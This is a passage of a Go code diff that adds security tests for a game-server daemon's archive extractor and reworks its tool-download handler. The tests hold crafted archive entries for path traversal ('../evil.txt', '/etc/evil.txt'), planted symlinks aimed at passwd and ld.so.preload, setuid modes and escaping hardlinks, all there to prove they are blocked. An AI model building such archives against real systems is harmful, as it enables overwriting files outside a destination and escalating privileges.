filepath.Join(t.TempDir(), "empty.zip") + buildZip(t, archivePath, nil) + + root, dir := treeDestination(t) + + res, err := ExtractTree(context.Background(), openArchive(t, archivePath), "empty.zip", root, TreeOptions{}) + + require.NoError(t, err) + assert.Zero(t, res.FilesProcessed, "the caller tells an archive that held nothing by the count") + assert.Empty(t, readTree(t, dir)) +} + +func TestExtractTree_UnreadableArchive(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + file string + content string + wantError string + }{ + { + name: "content_is_no_archive_and_the_name_says_nothing", + file: "download", + content: "404 Not Found", + wantError: `cannot detect the format of archive "download"`, + }, + { + name: "content_is_not_what_the_name_says", + file: "game.zip", + content: "404 Not Found", + wantError: "failed to read zip archive", + }, + { + name: "truncated_archive", + file: "game.tar.gz", + content: "\x1f\x8b\x08\x00", + wantError: "EOF", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + archivePath := filepath.Join(t.TempDir(), tt.file) + require.NoError(t, os.WriteFile(archivePath, []byte(tt.content), 0o644)) + + root, dir := treeDestination(t) + + res, err := ExtractTree(context.Background(), openArchive(t, archivePath), tt.file, root, TreeOptions{}) + + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantError) + assert.Nil(t, res) + assert.Empty(t, readTree(t, dir)) + }) + } +} + +func TestExtractTree_EntryNamesLeavingTheDestination(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + entry string + wantError string + }{ + { + name: "parent_directory", + entry: "../evil.txt", + wantError: `archive entry "../evil.txt" escapes the destination`, + }, + { + name: "parent_directory_behind_a_directory", + entry: "maps/../../evil.txt", + wantError: `archive entry "maps/../../evil.txt" escapes the destination`, + }, + { + name: "absolute_name", + entry: "/etc/evil.txt", + wantError: `archive entry "/etc/evil.txt" escapes the destination`, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + parent := t.TempDir() + dir := filepath.Join(parent, "server") + require.NoError(t, os.Mkdir(dir, 0o755)) + + root, err := os.OpenRoot(dir) + require.NoError(t, err) + t.Cleanup(func() { _ = root.Close() }) + + archivePath := filepath.Join(t.TempDir(), "game.zip") + buildZip(t, archivePath, map[string]string{tt.entry: "evil"}) + + res, err := ExtractTree(context.Background(), openArchive(t, archivePath), "game.zip", root, TreeOptions{}) + + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantError) + assert.Nil(t, res) + assert.Empty(t, readTree(t, parent)) + }) + } +} + +// Extract caps what a panel user may unpack. An installation unpacks what the +// operator configured, and a game is allowed more files than that. +func TestExtractTree_FileLimitIsNotApplied(t *testing.T) { + t.Parallel() + + entries := int(defaultMaxFiles) + 1 + + archivePath := filepath.Join(t.TempDir(), "many.zip") + + f, err := os.Create(archivePath) + require.NoError(t, err) + + zw := zip.NewWriter(f) + for range entries { + _, err := zw.Create("maps/") + require.NoError(t, err) + } + + require.NoError(t, zw.Close()) + require.NoError(t, f.Close()) + + root, dir := treeDestination(t) + + res, err := ExtractTree(context.Background(), openArchive(t, archivePath), "many.zip", root, TreeOptions{}) + + require.NoError(t, err) + assert.Equal(t, int64(entries), res.FilesProcessed) + assert.DirExists(t, filepath.Join(dir, "maps")) +} + +func TestExtractTree_CanceledContext(t *testing.T) { + t.Parallel() + + root, dir := treeDestination(t) + + res, err := ExtractTree( + canceledContext(t), + openArchive(t, fixturePath("local_repository", "game.zip")), + "game.zip", + root, + TreeOptions{}, + ) + + require.ErrorIs(t, err, context.Canceled) + assert.Nil(t, res) + assert.Empty(t, readTree(t, dir)) +} diff --git a/internal/app/archive/extract_tree_unix_test.go b/internal/app/archive/extract_tree_unix_test.go new file mode 100644 index 0000000..854e0bf --- /dev/null +++ b/internal/app/archive/extract_tree_unix_test.go @@ -0,0 +1,783 @@ +//go:build linux || darwin + +package archive + +import ( + "archive/tar" + "compress/gzip" + "context" + "os" + "path/filepath" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +// tarEntry is one entry for buildTarGz. The zero typeflag is a regular file +// and the zero mode 0644. +type tarEntry struct { + name string + typeflag byte + mode int64 + body string + linkname string +} + +// buildTarGz writes a tar.gz with the entries in the order given, the way a +// game archive stores them: an entry may rely on the ones before it. +func buildTarGz(t *testing.T, entries []tarEntry) string { + t.Helper() + + archivePath := filepath.Join(t.TempDir(), "game.tar.gz") + + f, err := os.Create(archivePath) + require.NoError(t, err) + + zw := gzip.NewWriter(f) + tw := tar.NewWriter(zw) + + for _, e := range entries { + hdr := &tar.Header{ + Name: e.name, + Typeflag: e.typeflag, + Mode: e.mode, + Linkname: e.linkname, + Size: int64(len(e.body)), + } + if hdr.Typeflag == 0 { + hdr.Typeflag = tar.TypeReg + } + if hdr.Mode == 0 { + hdr.Mode = 0o644 + } + + require.NoError(t, tw.WriteHeader(hdr)) + + _, err := tw.Write([]byte(e.body)) + require.NoError(t, err) + } + + require.NoError(t, tw.Close()) + require.NoError(t, zw.Close()) + require.NoError(t, f.Close()) + + return archivePath +} + +// outsideFile creates a file that stands for something of the node no archive +// may reach, and returns the directory holding it and its path. +func outsideFile(t *testing.T) (dir, file string) { + t.Helper() + + dir = t.TempDir() + file = filepath.Join(dir, "passwd") + require.NoError(t, os.WriteFile(file, []byte("root:x:0:0"), 0o600)) + + return dir, file +} + +// assertOutsideUntouched checks that the directory outsideFile created holds +// what it held: the one file, with its content and mode. +func assertOutsideUntouched(t *testing.T, dir, file string) { + t.Helper() + + entries, err := os.ReadDir(dir) + require.NoError(t, err) + require.Len(t, entries, 1, "nothing may be created outside of the destination") + + content, err := os.ReadFile(file) + require.NoError(t, err) + assert.Equal(t, "root:x:0:0", string(content)) + + info, err := os.Lstat(file) + require.NoError(t, err) + assert.Equal(t, os.FileMode(0o600), info.Mode(), "the file outside keeps its type and mode") +} + +func assertRegularFile(t *testing.T, path, wantContent string, wantPerm os.FileMode) { + t.Helper() + + info, err := os.Lstat(path) + require.NoError(t, err) + require.True(t, info.Mode().IsRegular(), "%s has to be a regular file, it is %s", path, info.Mode()) + assert.Equal(t, wantPerm, info.Mode().Perm()) + + content, err := os.ReadFile(path) + require.NoError(t, err) + assert.Equal(t, wantContent, string(content)) +} + +func assertSymlink(t *testing.T, path, wantTarget string) { + t.Helper() + + info, err := os.Lstat(path) + require.NoError(t, err) + require.NotZero(t, info.Mode()&os.ModeSymlink, "%s has to be a symlink, it is %s", path, info.Mode()) + + target, err := os.Readlink(path) + require.NoError(t, err) + assert.Equal(t, wantTarget, target) +} + +// A game server writes into its own directory, and an installation unpacks +// into it with the privileges of the daemon. Whatever the server left under +// the name of an archive entry is replaced by the entry: the write never goes +// to where a link there leads. +func TestExtractTree_FileEntryMeetsWhatStandsUnderItsName(t *testing.T) { + t.Parallel() + + archive := []tarEntry{ + {name: "./"}, + {name: "./server.cfg", body: "hostname from archive", mode: 0o640}, + } + archive[0].typeflag = tar.TypeDir + archive[0].mode = 0o755 + + tests := []struct { + name string + // plant puts something under the name of the entry before the archive + // is unpacked. + plant func(t *testing.T, dir, outside string) + wantError string + check func(t *testing.T, dir string) + }{ + { + name: "nothing_stands_there", + plant: func(_ *testing.T, _, _ string) {}, + }, + { + name: "file_is_replaced", + plant: func(t *testing.T, dir, _ string) { + t.Helper() + + require.NoError(t, os.WriteFile(filepath.Join(dir, "server.cfg"), []byte("old and much longer content"), 0o600)) + }, + }, + { + name: "symlink_to_a_file_outside_is_replaced", + plant: func(t *testing.T, dir, outside string) { + t.Helper() + + require.NoError(t, os.Symlink(outside, filepath.Join(dir, "server.cfg"))) + }, + }, + { + name: "relative_symlink_to_a_file_outside_is_replaced", + plant: func(t *testing.T, dir, outside string) { + t.Helper() + + rel, err := filepath.Rel(dir, outside) + require.NoError(t, err) + require.NoError(t, os.Symlink(rel, filepath.Join(dir, "server.cfg"))) + }, + }, + { + name: "symlink_to_a_missing_file_outside_is_replaced", + plant: func(t *testing.T, dir, outside string) { + t.Helper() + + require.NoError(t, os.Symlink(filepath.Join(filepath.Dir(outside), "created"), filepath.Join(dir, "server.cfg"))) + }, + }, + { + name: "symlink_to_a_file_inside_is_replaced", + plant: func(t *testing.T, dir, _ string) { + t.Helper() + + require.NoError(t, os.WriteFile(filepath.Join(dir, "banned.cfg"), []byte("banid 1"), 0o600)) + require.NoError(t, os.Symlink("banned.cfg", filepath.Join(dir, "server.cfg"))) + }, + check: func(t *testing.T, dir string) { + t.Helper() + + assertRegularFile(t, filepath.Join(dir, "banned.cfg"), "banid 1", 0o600) + }, + }, + { + name: "directory_is_kept_and_the_run_stops", + plant: func(t *testing.T, dir, _ string) { + t.Helper() + + require.NoError(t, os.Mkdir(filepath.Join(dir, "server.cfg"), 0o755)) + require.NoError(t, os.WriteFile(filepath.Join(dir, "server.cfg", "keep.txt"), []byte("keep"), 0o644)) + }, + wantError: `"server.cfg" is a directory, and the archive has an entry under that name that is not one`, + check: func(t *testing.T, dir string) { + t.Helper() + + assertRegularFile(t, filepath.Join(dir, "server.cfg", "keep.txt"), "keep", 0o644) + }, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + root, dir := treeDestination(t) + outsideDir, outside := outsideFile(t) + tt.plant(t, dir, outside) + + res, err := ExtractTree( + context.Background(), openArchive(t, buildTarGz(t, archive)), "game.tar.gz", root, TreeOptions{}, + ) + + assertOutsideUntouched(t, outsideDir, outside) + + if tt.check != nil { + tt.check(t, dir) + } + + if tt.wantError != "" { + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantError) + assert.Nil(t, res) + + return + } + + require.NoError(t, err) + assert.Equal(t, int64(1), res.FilesProcessed) + assert.Empty(t, res.SkippedLinks) + assertRegularFile(t, filepath.Join(dir, "server.cfg"), "hostname from archive", 0o640) + }) + } +} + +// A directory of the archive may meet a symlink the game server put in its +// place. Followed by its path, such a link takes every file below it wherever +// it points. +func TestExtractTree_DirectoryMeetsASymlink(t *testing.T) { + t.Parallel() + + withDirEntry := []tarEntry{ + {name: "cstrike/", typeflag: tar.TypeDir, mode: 0o755}, + {name: "cstrike/addons/", typeflag: tar.TypeDir, mode: 0o755}, + {name: "cstrike/addons/plugins.ini", body: "plugins"}, + } + withoutDirEntry := []tarEntry{ + {name: "cstrike/addons/plugins.ini", body: "plugins"}, + } + + tests := []struct { + name string + // plant replaces cstrike/addons, or cstrike, with a symlink. + plant func(t *testing.T, dir, outsideDir string) + wantError string + wantFile string + }{ + { + name: "link_out_of_the_destination_stops_the_run", + plant: func(t *testing.T, dir, outsideDir string) { + t.Helper() + + require.NoError(t, os.Mkdir(filepath.Join(dir, "cstrike"), 0o755)) + require.NoError(t, os.Symlink(outsideDir, filepath.Join(dir, "cstrike", "addons"))) + }, + wantError: `"cstrike/addons" is a symlink that is not followed inside the destination`, + }, + { + name: "relative_link_out_of_the_destination_stops_the_run", + plant: func(t *testing.T, dir, outsideDir string) { + t.Helper() + + require.NoError(t, os.Mkdir(filepath.Join(dir, "cstrike"), 0o755)) + + rel, err := filepath.Rel(filepath.Join(dir, "cstrike"), outsideDir) + require.NoError(t, err) + require.NoError(t, os.Symlink(rel, filepath.Join(dir, "cstrike", "addons"))) + }, + wantError: `"cstrike/addons" is a symlink that is not followed inside the destination`, + }, + { + name: "link_out_of_the_destination_on_the_way_stops_the_run", + plant: func(t *testing.T, dir, outsideDir string) { + t.Helper() + + require.NoError(t, os.Symlink(outsideDir, filepath.Join(dir, "cstrike"))) + }, + wantError: `"cstrike" is a symlink that is not followed inside the destination`, + }, + { + name: "link_to_nowhere_stops_the_run", + plant: func(t *testing.T, dir, _ string) { + t.Helper() + + require.NoError(t, os.Mkdir(filepath.Join(dir, "cstrike"), 0o755)) + require.NoError(t, os.Symlink("absent", filepath.Join(dir, "cstrike", "addons"))) + }, + wantError: `"cstrike/addons" is a symlink that is not followed inside the destination`, + }, + { + name: "link_to_a_file_stops_the_run", + plant: func(t *testing.T, dir, _ string) { + t.Helper() + + require.NoError(t, os.Mkdir(filepath.Join(dir, "cstrike"), 0o755)) + require.NoError(t, os.WriteFile(filepath.Join(dir, "cstrike", "file"), []byte("file"), 0o644)) + require.NoError(t, os.Symlink("file", filepath.Join(dir, "cstrike", "addons"))) + }, + wantError: `"cstrike/addons" is a symlink that does not lead to a directory`, + }, + { + name: "link_to_a_directory_inside_is_merged_through", + plant: func(t *testing.T, dir, _ string) { + t.Helper() + + require.NoError(t, os.MkdirAll(filepath.Join(dir, "shared", "addons"), 0o755)) + require.NoError(t, os.Mkdir(filepath.Join(dir, "cstrike"), 0o755)) + require.NoError(t, os.Symlink("../shared/addons", filepath.Join(dir, "cstrike", "addons"))) + }, + wantFile: "shared/addons/plugins.ini", + }, + } + + archives := map[string][]tarEntry{ + "archive_names_the_directory": withDirEntry, + "archive_names_only_the_file_inside": withoutDirEntry, + } + + for _, tt := range tests { + for archiveName, archive := range archives { + t.Run(tt.name+"/"+archiveName, func(t *testing.T) { + t.Parallel() + + root, dir := treeDestination(t) + outsideDir, outside := outsideFile(t) + tt.plant(t, dir, outsideDir) + + res, err := ExtractTree( + context.Background(), openArchive(t, buildTarGz(t, archive)), "game.tar.gz", root, TreeOptions{}, + ) + + assertOutsideUntouched(t, outsideDir, outside) + + if tt.wantError != "" { + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantError) + assert.Nil(t, res) + assert.NoFileExists(t, filepath.Join(dir, "cstrike", "absent")) + + return + } + + require.NoError(t, err) + assertRegularFile(t, filepath.Join(dir, filepath.FromSlash(tt.wantFile)), "plugins", 0o644) + assertSymlink(t, filepath.Join(dir, "cstrike", "addons"), "../shared/addons") + }) + } + } +} + +func TestExtractTree_DirectoryMeetsAFile(t *testing.T) { + t.Parallel() + + root, dir := treeDestination(t) + require.NoError(t, os.WriteFile(filepath.Join(dir, "maps"), []byte("not a directory"), 0o644)) + + archive := buildTarGz(t, []tarEntry{ + {name: "maps/", typeflag: tar.TypeDir, mode: 0o755}, + {name: "maps/de_dust2.bsp", body: "bsp"}, + }) + + res, err := ExtractTree(context.Background(), openArchive(t, archive), "game.tar.gz", root, TreeOptions{}) + + require.NoError(t, err) + assert.Equal(t, int64(2), res.FilesProcessed) + assertRegularFile(t, filepath.Join(dir, "maps", "de_dust2.bsp"), "bsp", 0o644) +} + +// A symlink of the archive is created as a symlink. go-getter, which unpacked +// installations before, wrote an empty file with the mode of the link in its +// place — 0777 — through whatever stood under its name. +func TestExtractTree_SymlinkEntry(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + link tarEntry + // plant puts something into the destination before the archive is + // unpacked. + plant func(t *testing.T, dir, outside string) + wantLink string + wantSkipped []SkippedLink + wantError string + }{ + { + name: "link_inside_the_destination_is_created", + link: tarEntry{name: "./libSDL2.so", typeflag: tar.TypeSymlink, mode: 0o777, linkname: "libSDL2-2.0.so.0"}, + wantLink: "libSDL2-2.0.so.0", + }, + { + name: "link_replaces_a_symlink_out_of_the_destination", + link: tarEntry{name: "./libSDL2.so", typeflag: tar.TypeSymlink, mode: 0o777, linkname: "libSDL2-2.0.so.0"}, + plant: func(t *testing.T, dir, outside string) { + t.Helper() + + require.NoError(t, os.Symlink(outside, filepath.Join(dir, "libSDL2.so"))) + }, + wantLink: "libSDL2-2.0.so.0", + }, + { + name: "link_replaces_a_symlink_to_a_missing_file_outside", + link: tarEntry{name: "./libSDL2.so", typeflag: tar.TypeSymlink, mode: 0o777, linkname: "libSDL2-2.0.so.0"}, + plant: func(t *testing.T, dir, outside string) { + t.Helper() + + preload := filepath.Join(filepath.Dir(outside), "ld.so.preload") + require.NoError(t, os.Symlink(preload, filepath.Join(dir, "libSDL2.so"))) + }, + wantLink: "libSDL2-2.0.so.0", + }, + { + name: "link_replaces_a_file", + link: tarEntry{name: "./libSDL2.so", typeflag: tar.TypeSymlink, mode: 0o777, linkname: "libSDL2-2.0.so.0"}, + plant: func(t *testing.T, dir, _ string) { + t.Helper() + + require.NoError(t, os.WriteFile(filepath.Join(dir, "libSDL2.so"), nil, 0o777)) + }, + wantLink: "libSDL2-2.0.so.0", + }, + { + name: "absolute_link_is_left_out_and_reported", + link: tarEntry{name: "./libSDL2.so", typeflag: tar.TypeSymlink, mode: 0o777, linkname: "/usr/lib/libSDL2.so"}, + wantSkipped: []SkippedLink{ + {Name: "./libSDL2.so", Target: "/usr/lib/libSDL2.so", Reason: "absolute symlink target"}, + }, + }, + { + name: "link_out_of_the_destination_is_left_out_and_reported", + link: tarEntry{name: "./libSDL2.so", typeflag: tar.TypeSymlink, mode: 0o777, linkname: "../shared/libSDL2.so"}, + wantSkipped: []SkippedLink{ + {Name: "./libSDL2.so", Target: "../shared/libSDL2.so", Reason: "symlink target escapes the destination"}, + }, + }, + { + name: "link_through_an_absolute_symlink_of_the_tree_is_left_out_and_reported", + link: tarEntry{name: "./libSDL2.so", typeflag: tar.TypeSymlink, mode: 0o777, linkname: "lib/libSDL2.so"}, + plant: func(t *testing.T, dir, outside string) { + t.Helper() + + require.NoError(t, os.Symlink(filepath.Dir(outside), filepath.Join(dir, "lib"))) + }, + wantSkipped: []SkippedLink{ + {Name: "./libSDL2.so", Target: "lib/libSDL2.so", Reason: "symlink target crosses an absolute symlink"}, + }, + }, + { + name: "directory_under_its_name_is_kept_and_the_run_stops", + link: tarEntry{name: "./libSDL2.so", typeflag: tar.TypeSymlink, mode: 0o777, linkname: "libSDL2-2.0.so.0"}, + plant: func(t *testing.T, dir, _ string) { + t.Helper() + + require.NoError(t, os.Mkdir(filepath.Join(dir, "libSDL2.so"), 0o755)) + }, + wantError: `"libSDL2.so" is a directory, and the archive has an entry under that name that is not one`, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + root, dir := treeDestination(t) + outsideDir, outside := outsideFile(t) + + if tt.plant != nil { + tt.plant(t, dir, outside) + } + + archive := buildTarGz(t, []tarEntry{ + {name: "./", typeflag: tar.TypeDir, mode: 0o755}, + tt.link, + {name: "./libSDL2-2.0.so.0", body: "ELF", mode: 0o755}, + }) + + res, err := ExtractTree(context.Background(), openArchive(t, archive), "game.tar.gz", root, TreeOptions{}) + + assertOutsideUntouched(t, outsideDir, outside) + + if tt.wantError != "" { + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantError) + assert.Nil(t, res) + assert.DirExists(t, filepath.Join(dir, "libSDL2.so")) + + return + } + + require.NoError(t, err) + assert.Equal(t, tt.wantSkipped, res.SkippedLinks) + assertRegularFile(t, filepath.Join(dir, "libSDL2-2.0.so.0"), "ELF", 0o755) + + if tt.wantLink == "" { + assert.Equal(t, int64(1), res.FilesProcessed) + assert.NoFileExists(t, filepath.Join(dir, "libSDL2.so"), "a link that was left out leaves no file behind") + + return + } + + assert.Equal(t, int64(2), res.FilesProcessed) + assertSymlink(t, filepath.Join(dir, "libSDL2.so"), tt.wantLink) + }) + } +} + +// The archive is unpacked with the privileges of the daemon, and the tree +// goes to the game server user. A file keeps the permission bits the archive +// has for it and nothing above them: a setuid bit must not survive that. +func TestExtractTree_FilePermissions(t *testing.T) { + t.Parallel() + + root, dir := treeDestination(t) + + archive := buildTarGz(t, []tarEntry{ + {name: "hlds_run", body: "#!/bin/sh", mode: 0o755}, + {name: "steam_appid.txt", body: "90", mode: 0o644}, + {name: "private.key", body: "key", mode: 0o600}, + {name: "setuid_tool", body: "ELF", mode: 0o4755}, + {name: "setgid_sticky_tool", body: "ELF", mode: 0o3755}, + }) + + res, err := ExtractTree(context.Background(), openArchive(t, archive), "game.tar.gz", root, TreeOptions{}) + + require.NoError(t, err) + assert.Equal(t, int64(5), res.FilesProcessed) + + wantModes := map[string]os.FileMode{ + "hlds_run": 0o755, + "steam_appid.txt": 0o644, + "private.key": 0o600, + "setuid_tool": 0o755, + "setgid_sticky_tool": 0o755, + } + + for name, want := range wantModes { + info, err := os.Lstat(filepath.Join(dir, name)) + require.NoError(t, err, name) + assert.Equal(t, want, info.Mode(), name) + } +} + +// A directory a tar lists is as open or as closed as the archive has it. The +// archives of AMX Mod X keep addons/amxmodx at 0700 over files of 0664: +// users.ini and sql.cfg hold passwords, and the directory is all that keeps +// them from the other users of the node. +func TestExtractTree_DirectoryModes(t *testing.T) { + t.Parallel() + + const destination = "." + + closedDir := []tarEntry{ + {name: "amxmodx/", typeflag: tar.TypeDir, mode: 0o700}, + {name: "amxmodx/users.ini", body: "admin", mode: 0o664}, + } + + tarOf := func(entries ...tarEntry) func(t *testing.T) string { + return func(t *testing.T) string { + t.Helper() + + return buildTarGz(t, entries) + } + } + + tests := []struct { + name string + // setup prepares the destination before the archive is unpacked. + setup func(t *testing.T, dir string) + // archive builds the archive and returns its path. + archive func(t *testing.T) string + // wantModes maps the directories to look at to their permission bits. + wantModes map[string]os.FileMode + }{ + { + name: "tar_directory_takes_the_mode_of_its_entry", + archive: tarOf(closedDir...), + wantModes: map[string]os.FileMode{ + "amxmodx": 0o700, + }, + }, + { + name: "tar_directory_open_to_the_group_or_to_everyone_stays_so", + archive: tarOf( + tarEntry{name: "cstrike/", typeflag: tar.TypeDir, mode: 0o775}, + tarEntry{name: "cstrike/SAVE/", typeflag: tar.TypeDir, mode: 0o744}, + tarEntry{name: "upload/", typeflag: tar.TypeDir, mode: 0o777}, + ), + wantModes: map[string]os.FileMode{ + "cstrike": 0o775, + "cstrike/SAVE": 0o744, + "upload": 0o777, + }, + }, + { + name: "tar_directory_listed_after_the_files_in_it", + archive: tarOf(closedDir[1], closedDir[0]), + wantModes: map[string]os.FileMode{ + "amxmodx": 0o700, + }, + }, + { + name: "tar_directory_that_was_there_takes_the_mode_too", + setup: func(t *testing.T, dir string) { + t.Helper() + require.NoError(t, os.Mkdir(filepath.Join(dir, "amxmodx"), 0o755)) + }, + archive: tarOf(closedDir...), + wantModes: map[string]os.FileMode{ + "amxmodx": 0o700, + }, + }, + { + name: "tar_special_bits_of_a_directory_are_left_out", + archive: tarOf(tarEntry{name: "shared/", typeflag: tar.TypeDir, mode: 0o3775}), + wantModes: map[string]os.FileMode{ + "shared": 0o775, + }, + }, + { + name: "tar_directory_only_implied_is_created_with_0755", + archive: tarOf(tarEntry{name: "implied/by/file.txt", body: "file", mode: 0o600}), + wantModes: map[string]os.FileMode{ + "implied": 0o755, + "implied/by": 0o755, + }, + }, + { + name: "tar_entry_for_the_destination_gives_it_its_mode", + archive: tarOf( + tarEntry{name: "./", typeflag: tar.TypeDir, mode: 0o700}, + tarEntry{name: "./hlds_run", body: "#!/bin/sh", mode: 0o755}, + tarEntry{name: "./cstrike/", typeflag: tar.TypeDir, mode: 0o755}, + ), + wantModes: map[string]os.FileMode{ + destination: 0o700, + "cstrike": 0o755, + }, + }, + { + name: "tar_without_an_entry_for_the_destination_leaves_it_as_it_is", + setup: func(t *testing.T, dir string) { + t.Helper() + require.NoError(t, os.Chmod(dir, 0o750)) + }, + archive: tarOf(closedDir...), + wantModes: map[string]os.FileMode{ + destination: 0o750, + "amxmodx": 0o700, + }, + }, + { + name: "zip_directory_is_created_with_0755_whatever_the_archive_has", + setup: func(t *testing.T, dir string) { + t.Helper() + require.NoError(t, os.Mkdir(filepath.Join(dir, "logs"), 0o700)) + }, + archive: func(t *testing.T) string { + t.Helper() + + archivePath := filepath.Join(t.TempDir(), "game.zip") + buildZipModes(t, archivePath, []zipEntry{ + {name: "./", mode: os.ModeDir | 0o700}, + {name: "open/", mode: os.ModeDir | 0o777}, + {name: "closed/", mode: os.ModeDir | 0o700}, + {name: "logs/", mode: os.ModeDir | 0o777}, + {name: "open/file.txt", mode: 0o644, body: "file"}, + }) + + return archivePath + }, + wantModes: map[string]os.FileMode{ + destination: 0o755, + "open": 0o755, + "closed": 0o755, + "logs": 0o700, + }, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + root, dir := treeDestination(t) + require.NoError(t, os.Chmod(dir, 0o755)) + + if tt.setup != nil { + tt.setup(t, dir) + } + + archive := tt.archive(t) + + _, err := ExtractTree(context.Background(), openArchive(t, archive), filepath.Base(archive), root, TreeOptions{}) + require.NoError(t, err) + + for name, want := range tt.wantModes { + info, err := os.Lstat(filepath.Join(dir, filepath.FromSlash(name))) + require.NoError(t, err, name) + require.True(t, info.IsDir(), name) + assert.Equal(t, want, info.Mode()&^os.ModeDir, name) + } + }) + } +} + +// A hardlink of the archive is stored as a copy, and what it copies is read +// through the root like everything else. +func TestExtractTree_HardlinkEntry(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + linkname string + wantError string + }{ + { + name: "target_inside_the_archive_is_copied", + linkname: "engine.so", + }, + { + name: "target_out_of_the_destination_stops_the_run", + linkname: "../passwd", + wantError: `archive entry "../passwd" escapes the destination`, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + parent := t.TempDir() + require.NoError(t, os.WriteFile(filepath.Join(parent, "passwd"), []byte("root:x:0:0"), 0o600)) + + dir := filepath.Join(parent, "server") + require.NoError(t, os.Mkdir(dir, 0o755)) + + root, err := os.OpenRoot(dir) + require.NoError(t, err) + t.Cleanup(func() { _ = root.Close() }) + + archive := buildTarGz(t, []tarEntry{ + {name: "engine.so", body: "ELF", mode: 0o755}, + {name: "engine_copy.so", typeflag: tar.TypeLink, mode: 0o755, linkname: tt.linkname}, + }) + + res, err := ExtractTree(context.Background(), openArchive(t, archive), "game.tar.gz", root, TreeOptions{}) + + if tt.wantError != "" { + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantError) + assert.Nil(t, res) + assert.NoFileExists(t, filepath.Join(dir, "engine_copy.so")) + + return + } + + require.NoError(t, err) + assert.Equal(t, int64(2), res.FilesProcessed) + assertRegularFile(t, filepath.Join(dir, "engine_copy.so"), "ELF", 0o755) + }) + } +} diff --git a/internal/app/components/customhandlers/get_tool.go b/internal/app/components/customhandlers/get_tool.go index d8184ce..d8e6696 100644 --- a/internal/app/components/customhandlers/get_tool.go +++ b/internal/app/components/customhandlers/get_tool.go @@ -11,10 +11,15 @@ import ( "github.com/gameap/daemon/internal/app/config" "github.com/gameap/daemon/internal/app/contracts" "github.com/gameap/daemon/internal/app/domain" - "github.com/hashicorp/go-getter" + "github.com/gameap/daemon/internal/app/fetch" "github.com/pkg/errors" ) +const ( + toolsDirPerm os.FileMode = 0o755 + toolPerm os.FileMode = 0o700 +) + type GetTool struct { cfg *config.Config } @@ -29,64 +34,83 @@ func (g *GetTool) Handle(ctx context.Context, args []string, out io.Writer, _ co } source := args[0] - fileName := filepath.Base(source) + + fileName, err := fetch.FileName(source) + if err != nil { + return int(domain.ErrorResult), errors.WithMessage(err, "[components.GetTool] failed to get tool") + } + destination := filepath.Join(g.cfg.ToolsPath, fileName) // The tool is downloaded next to its destination and promoted only once it // is complete and executable: a tool that is already there survives a - // failed fetch and is never seen half-written. go-getter does not replace - // a file it finds at its destination — it resumes the download from the - // file's size, so a tool that changed upstream came back as a splice of - // both versions, and one no larger than the old copy was not fetched at - // all — which is why the leftover of an interrupted run goes first. + // failed fetch and is never seen half-written. partial := destination + ".part" - err := removeIfExists(partial) + _, _ = out.Write([]byte("Getting tool from " + source + " to " + destination + " ...\n")) + + err = g.download(ctx, source, partial, out) if err != nil { - return int(domain.ErrorResult), errors.WithMessage(err, "[components.GetTool] failed to remove a partial download") + return int(domain.ErrorResult), errors.WithMessage(err, "[components.GetTool] failed to get tool") } - progressTracker := components.NewDownloadProgressTracker(out, 5*time.Second) + err = os.Rename(partial, destination) + if err != nil { + _ = os.Remove(partial) - c := getter.Client{ - Ctx: ctx, - Src: args[0], - Dst: partial, - Mode: getter.ClientModeFile, - ProgressListener: progressTracker, + return int(domain.ErrorResult), errors.WithMessage(err, "[components.GetTool] failed to replace the previous tool") } - _, _ = out.Write([]byte("Getting tool from " + source + " to " + destination + " ...\n")) - err = c.Get() + err = config.UpdateEnvPath(g.cfg) if err != nil { - _ = os.Remove(partial) + _, _ = out.Write([]byte("Failed to update PATH with tools directories")) - return int(domain.ErrorResult), errors.WithMessage(err, "[components.GetTool] failed to get tool") + return int(domain.ErrorResult), errors.WithMessage(err, "[components.GetTool] failed to update PATH") } - err = os.Chmod(partial, 0700) + return int(domain.SuccessResult), nil +} + +// download fetches source into partial and leaves it executable. Nothing is +// left behind when it fails. +func (g *GetTool) download(ctx context.Context, source, partial string, out io.Writer) error { + err := os.MkdirAll(filepath.Dir(partial), toolsDirPerm) if err != nil { - _ = os.Remove(partial) - _, _ = out.Write([]byte("Failed to chmod tool")) + return errors.Wrap(err, "failed to create the tools directory") + } - return int(domain.ErrorResult), errors.WithMessage(err, "[components.GetTool] failed to chmod tool") + // The leftover of an interrupted run goes first, and the file is created + // anew: whatever stands under that name is neither written into nor, if it + // is a symlink, written through. + err = removeIfExists(partial) + if err != nil { + return errors.Wrap(err, "failed to remove a partial download") } - err = os.Rename(partial, destination) + file, err := os.OpenFile(partial, os.O_WRONLY|os.O_CREATE|os.O_EXCL, toolPerm) if err != nil { - _ = os.Remove(partial) + return errors.Wrap(err, "failed to create a file to download to") + } - return int(domain.ErrorResult), errors.WithMessage(err, "[components.GetTool] failed to replace the previous tool") + progressTracker := components.NewDownloadProgressTracker(out, 5*time.Second) + + _, err = fetch.Download(ctx, source, file, progressTracker) + if err == nil { + // Creating the file is subject to the umask, so the mode is set on the + // file in hand. + err = errors.Wrap(file.Chmod(toolPerm), "failed to chmod tool") } - err = config.UpdateEnvPath(g.cfg) - if err != nil { - _, _ = out.Write([]byte("Failed to update PATH with tools directories")) + closeErr := file.Close() + if err == nil { + err = errors.Wrap(closeErr, "failed to close the downloaded tool") + } - return int(domain.ErrorResult), errors.WithMessage(err, "[components.GetTool] failed to update PATH") + if err != nil { + _ = os.Remove(partial) } - return int(domain.SuccessResult), nil + return err } func removeIfExists(path string) 